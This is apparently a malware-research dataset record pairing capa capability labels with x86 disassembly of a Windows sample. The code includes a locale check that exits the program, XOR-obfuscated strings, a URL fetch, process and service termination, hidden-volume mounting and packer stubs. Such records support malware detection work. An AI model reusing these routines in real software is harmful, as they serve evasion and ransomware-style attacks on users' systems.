joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a48a
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 0xc], 0
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
lea ecx, [ebx*2 + 2]
call fcn.00406d0f
mov esi, eax
test esi, esi
je 0x40a5c4
and dword [ebp - 0x10], 0
xor ecx, ecx
xor edi, edi
test ebx, ebx
jle 0x40a5bd
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1c], 0x20
movzx eax, word [edx + edi*2]
cmp eax, 0x22
jne 0x40a4f5
xor eax, eax
cmp dword [ebp - 0x10], eax
sete al
mov dword [ebp - 0x10], eax
jmp 0x40a506
cmp ax, word [ebp - 0x1c]
jne 0x40a501
cmp dword [ebp - 0x10], 0
je 0x40a506
mov word [esi + ecx*2], ax
inc ecx
test ecx, ecx
je 0x40a5b4
lea eax, [ebx - 1]
cmp edi, eax
je 0x40a52c
push 0x20
pop eax
cmp word [edx + edi*2], ax
jne 0x40a5b4
cmp dword [ebp - 0x10], 0
jne 0x40a5b4
cmp word [esi + ecx*2 - 2], 0x5c
lea eax, [ecx - 1]
cmovne eax, ecx
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp - 0xc]
mov eax, ecx
inc ecx
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x40a5b2
mov ecx, esi
call fcn.00409dca
test eax, eax
je 0x40a591
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 2
call fcn.00407fd3
add esp, 0xc
test eax, eax
je 0x40a5af
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a576
mov edx, esi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d8cf
jmp 0x40a5af
mov ecx, esi
call fcn.00409d93
test eax, eax
je 0x40a5af
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 1
call fcn.00407fd3
add esp, 0xc
mov edx, dword [ebp - 8]
xor ecx, ecx
inc edi
cmp edi, ebx
jl 0x40a4df
mov ecx, esi
call fcn.00406db4
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], esi
jle 0x40a67c
mov edi, dword [eax + esi*4]
mov ecx, edi
call fcn.00409e8f
mov ebx, eax
cmp ebx, 3
jle 0x40a66f
cmp word [edi], 0x2d
jne 0x40a66f
movzx ecx, word [edi + 2]
cmp ecx, 0x54
je 0x40a608
cmp ecx, 0x74
jne 0x40a66f
cmp word [edi + 4], 0x3d
jne 0x40a66f
push 0x800
lea ecx, [ebp - 0x820]
call fcn.00406d67
lea edi, [ebx - 2]
mov eax, 0x400
add esp, 4
cmp edi, eax
cmovg edi, eax
xor edx, edx
test edi, edi
jle 0x40a652
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + esi*4]
add ecx, 6
movsx ax, byte [ecx]
lea ecx, [ecx + 2]
mov word [ebp + edx*2 - 0x820], ax
inc edx
cmp edx, edi
jl 0x40a63e
lea ecx, [ebp - 0x820]
call fcn.00409d93
test eax, eax
je 0x40a66f
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x820]
call fcn.0040a681
mov eax, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jl 0x40a5e3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a681
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x60014
call fcn.0040dcf0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], edx
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push ecx
mov dword [ebp - 8], ebx
lea esi, [ebp - 0x20010]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a86b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 8]
push eax
push 3
mov eax, esi
push eax
push edi
call ebx
test eax, eax
je 0x40a705
cmp dword [ebp - 8], 3
jne 0x40a705
cmp byte [ebp - 0x20010], 0xef
jne 0x40a705
cmp byte [ebp - 0x2000f], 0xbb
jne 0x40a705
cmp byte [ebp - 0x2000e], 0xbf
jne 0x40a705
mov dword [ebp - 4], 0xfde9
jmp 0x40a711
xor eax, eax
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x20000
lea ecx, [ebp - 0x20010]
call fcn.00406d67
add esp, 4
lea eax, [ebp - 8]
push 0
push eax
push 0x20000
mov eax, ecx
push eax
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 8], eax
jbe 0x40a762
mov cl, byte [ebp + eax - 0x20010]
cmp cl, 0xd
je 0x40a754
cmp cl, 0xa
jne 0x40a75c
mov byte [ebp + eax - 0x20010], 0
inc eax
cmp eax, dword [ebp - 8]
jb 0x40a743
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, dword [ebp - 4]
cmp byte [esi], 0
je 0x40a84b
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
test eax, eax
je 0x40a84b
push eax
lea eax, [ebp - 0x60010]
push eax
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
lea ecx, [ebp - 0x60010]
call fcn.00409dca
test eax, eax
je 0x40a7ee
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 2
call fcn.00407fd3
add esp, 0xc
test eax, eax
je 0x40a84b
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a7cf
lea edx, [ebp - 0x60010]
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d8cf
jmp 0x40a84b
lea ecx, [ebp - 0x60010]
call fcn.00409d93
test eax, eax
je 0x40a816
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 1
call fcn.00407fd3
add esp, 0xc
jmp 0x40a84b
push 2
xor edx, edx
pop ecx
call fcn.0040d807
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.0040d807
lea ecx, [ebp - 0x60010]
call fcn.004077fb
xor edx, edx
push 2
inc edx
pop ecx
call fcn.0040d807
xor edx, edx
xor ecx, ecx
inc edx
inc ecx
call fcn.0040d807
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
jmp 0x40a85b
cmp esi, eax
jae 0x40a86b
inc esi
cmp byte [esi], 0
lea eax, [ebp - 0x10]
je 0x40a856
cmp esi, eax
jb 0x40a76b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a870
Capabilities:
Encode data using xor
Get geographical location
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push 3
lea eax, [ebp - 8]
push eax
push 0x5a
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
movaps xmm0, xmmword [0x401ab0]
xor eax, eax
movups xmmword [ebp - 0x46], xmm0
mov ecx, eax
mov dword [ebp - 0x16], 0x55145500
movaps xmm0, xmmword [0x401ac0]
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 0x12], 0x550f5500
movaps xmm0, xmmword [0x401b00]
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0xe], 0x551b5503
mov word [ebp - 0xa], 0x55
xor byte [ebp + ecx - 0x46], 0x55
inc ecx
cmp ecx, 0x3d
jb 0x40a8c9
mov cx, word [ebp - 0x46]
mov byte [ebp - 9], al
test cx, cx
je 0x40a907
push esi
mov esi, dword [ebp - 6]
movzx edx, cx
mov ecx, eax
cmp word [ebp - 8], dx
jne 0x40a8f6
cmp si, word [ebp + ecx - 0x44]
je 0x40a909
add eax, 2
lea ecx, [eax + eax]
movzx edx, word [ebp + ecx - 0x46]
test dx, dx
jne 0x40a8e9
pop esi
leave
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a98a
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
cmp dword [0x412dd1], 0
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
mov dword [ebp - 0x20], ebx
je 0x40ab2d
mov edi, 0x412dd5
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40ab2d
xor eax, eax
push eax
push eax
push eax
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40ab2d
mov ecx, dword [0x412dd1]
lea eax, [ebp - 0x248]
inc ecx
push ecx
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x401fc0]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x555575
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0x13
jb 0x40aa06
lea eax, [ebp - 0x1c]
mov byte [ebp - 9], 0
push eax
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x148]
push ebx
push eax
call edi
xor ebx, ebx
mov dword [ebp - 8], 0x555f5558
mov word [ebp - 4], 0x55
mov eax, ebx
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x40aa47
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x148]
push eax
call edi
push ebx
push closesocket
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x40ab2a
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x648]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40aabc
cmp dword [ebp - 8], 0
ja 0x40aa9b
push edi
call ebx
movaps xmm0, xmmword [0x401fa0]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov eax, ecx
mov dword [ebp - 0x28], 0x55705575
movaps xmm0, xmmword [0x401fd0]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x555526
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x27
jb 0x40aae7
movaps xmm0, xmmword [0x4019d0]
mov eax, ecx
mov byte [ebp - 0x21], cl
movups xmmword [ebp - 0x18], xmm0
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xf
jb 0x40ab02
push dword [ebp - 0x20]
lea eax, [ebp - 0x248]
mov byte [ebp - 9], cl
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040d976
add esp, 0x10
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ab32
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
lea ecx, [ebp - 4]
mov edx, 0x40f4c1
call fcn.004021e0
test eax, eax
je 0x40ac63
push esi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x26c], 0x22c
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40ac53
push edi
sub esp, 0xc
lea edx, [ebp - 0x248]
lea ecx, [ebp - 4]
call fcn.004022d6
add esp, 0xc
test eax, eax
je 0x40ac3c
push dword [ebp - 0x264]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40ac3c
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x40ac35
movaps xmm0, xmmword [0x401fb0]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov dword [ebp - 0x1e], 0x55557c
movaps xmm0, xmmword [0x401b50]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x23
jb 0x40abe2
movaps xmm0, xmmword [0x401b70]
mov eax, ecx
mov byte [ebp - 0x1b], cl
movups xmmword [ebp - 0x1a], xmm0
mov dword [ebp - 0xa], 0x55315530
mov word [ebp - 6], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0x15
jb 0x40ac0a
push dword [ebp - 0x264]
lea eax, [ebp - 0x248]
mov byte [ebp - 5], cl
push eax
lea eax, [ebp - 0x3e]
push eax
lea eax, [ebp - 0x1a]
push eax
call fcn.0040d976
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40ab7e
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 4]
call fcn.00402299
pop esi
leave
ret

Function at 0x40ac65
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
xor ebx, ebx
mov esi, ecx
inc ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40ace0
mov eax, dword [ebp - 0x10]
xor edx, edx
push 0xa
pop ecx
div ecx
mov ecx, 0x2710
cmp eax, ecx
mov edi, eax
cmova edi, ecx
mov ecx, 0x3e8
cmp eax, ecx
cmovb edi, ecx
jmp 0x40acdb
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40acdb
cmp dword [ebp - 0x24], ebx
je 0x40ace7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x41409c]
cmp eax, 0x7530
ja 0x40ace0
cmp dword [ebp - 0x24], ebx
jne 0x40aca5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, ebx
jmp 0x40ace2
Function at 0x40af5c
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [0x4140a0], 0
jne 0x40af85
test ecx, ecx
je 0x40af7e
xor eax, eax
push eax
push eax
push eax
push fcn.0040aceb
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
push 0
call fcn.0040aceb
pop ecx
ret

Function at 0x40af87
Capabilities:
Encode data using xor
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
push esi
push edi
push 8
pop ecx
xor ebx, ebx
call fcn.00406d0f
mov edi, eax
test edi, edi
je 0x40b0f6
mov dword [ebp - 8], 0x556f550a
xor eax, eax
mov dword [ebp - 4], 0x555509
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 7
jb 0x40afb7
lea eax, [ebp - 8]
mov byte [ebp - 1], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
push edi
mov word [edi], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x40afea
lea eax, [esi + 0x41]
mov word [ebp + ebx*2 - 0x74], ax
inc ebx
inc esi
cmp si, 0x1a
jb 0x40afd2
mov ecx, 0x10000
call fcn.00406d0f
mov esi, eax
test esi, esi
je 0x40b0ef
push 0x8000
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x40b0df
push 0x200
lea ecx, [ebp - 0x278]
call fcn.00406d67
and dword [ebp - 4], 0
lea eax, [ebp - 4]
add esp, 4
push eax
push 0x80
mov eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40b05c
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x40b0c8
mov ax, word [ebp + ebx*2 - 0x76]
dec ebx
push esi
push edi
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
movaps xmm0, xmmword [0x402050]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov word [ebp - 0x1e], 0x55
movaps xmm0, xmmword [0x401c50]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x21
jb 0x40b08d
movaps xmm0, xmmword [0x4019b0]
mov eax, ecx
mov byte [ebp - 0x1d], cl
movups xmmword [ebp - 0x1c], xmm0
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xf
jb 0x40b0a8
push edi
push esi
lea eax, [ebp - 0x3e]
mov byte [ebp - 0xd], cl
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d976
add esp, 0x10
push 0x8000
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40b014
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ecx, esi
call fcn.00406db4
mov ecx, edi
call fcn.00406db4
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b493
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x23
jb 0x40b495
mov byte [ecx + 0x23], 0
mov eax, ecx
ret

Function at 0x40b4a6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x27
jb 0x40b4a8
mov byte [ecx + 0x27], 0
mov eax, ecx
ret

Function at 0x40b50c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movaps xmm0, xmmword [0x401bf0]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401e70]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401f80]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x40b53b
lea eax, [ebp - 0x32]
mov byte [ebp - 1], 0
push eax
push 0x24
call fcn.0040b4b9
sub eax, 6
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret

Function at 0x40b561
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
call fcn.00409ca2
test eax, eax
je 0x40b575
xor eax, eax
inc eax
leave
ret
movaps xmm0, xmmword [0x401b60]
xor eax, eax
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0xe], 0x553c5520
movaps xmm0, xmmword [0x401ee0]
movups xmmword [ebp - 0x2e], xmm0
mov dword [ebp - 0xa], 0x55305527
movaps xmm0, xmmword [0x401c10]
movups xmmword [ebp - 0x1e], xmm0
mov dword [ebp - 6], 0x55745531
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x3d
jb 0x40b5b3
lea eax, [ebp - 0x3e]
mov byte [ebp - 1], 0
push eax
push 0x10
call fcn.0040b4b9
pop ecx
pop ecx
xor eax, eax
leave
ret
Function at 0x40da23
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2b
jb 0x40da25
mov byte [ecx + 0x2b], 0
mov eax, ecx
ret

Function at 0x40da36
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x25
jb 0x40da38
mov byte [ecx + 0x25], 0
mov eax, ecx
ret

Function at 0x40da49
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x81
jb 0x40da4b
mov byte [ecx + 0x81], 0
mov eax, ecx
ret

Function at 0x40da61
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2f
jb 0x40da63
mov byte [ecx + 0x2f], 0
mov eax, ecx
ret

Function at 0x40da74
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x39
jb 0x40da76
mov byte [ecx + 0x39], 0
mov eax, ecx
ret

Function at 0x40da87
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x51
jb 0x40da89
mov byte [ecx + 0x51], 0
mov eax, ecx
ret

Function at 0x40da9a
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x4b
jb 0x40da9c
mov byte [ecx + 0x4b], 0
mov eax, ecx
ret

Function at 0x40daad
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x29
jb 0x40daaf
mov byte [ecx + 0x29], 0
mov eax, ecx
ret

Function at 0x40dac0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x5b
jb 0x40dac2
mov byte [ecx + 0x5b], 0
mov eax, ecx
ret

Function at 0x40dad3
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x43
jb 0x40dad5
mov byte [ecx + 0x43], 0
mov eax, ecx
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x7fb1320e
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x5d775d86
nop
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x437410
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2d000]
push edi
or ebp, 0xffffffff
jmp 0x437432
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x437439
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x437428
mov eax, 1
add ebx, ebx
jne 0x43744b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x437440
jne 0x43745c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x437440
xor ecx, ecx
sub eax, 3
jb 0x437470
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4374e2
mov ebp, eax
add ebx, ebx
jne 0x43747b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x437488
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4374ac
inc ecx
add ebx, ebx
jne 0x437498
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43748d
jne 0x4374a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43748d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4374cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4374bd
jmp 0x43742e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4374cc
add edi, ecx
jmp 0x43742e
pop esi
mov edi, esi
mov ecx, 0x165
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4374ea
cmp byte [edi], 2
jne 0x4374ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4374ef
lea edi, [esi + 0x35000]
mov eax, dword [edi]
or eax, eax
je 0x437567
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3e5e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3e61c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43751c
mov ecx, edi
jns 0x43754b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3e620]
or eax, eax
je 0x437561
mov dword [ebx], eax
add ebx, 4
jmp 0x437539
call dword [esi + 0x3e624]
popal
jmp 0x402bd4
Function at 0x4010b2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x4010ff
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x804]
push 0x3ff
push 0x400
push eax
call fcn.00402d91
lea eax, [ebp - 0x804]
push eax
call fcn.00401059
add esp, 0x18
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401c23
leave
ret

Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004059fd
lea eax, [ebp - 0x404]
push eax
call section..text
add esp, 0x18
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401c23
leave
ret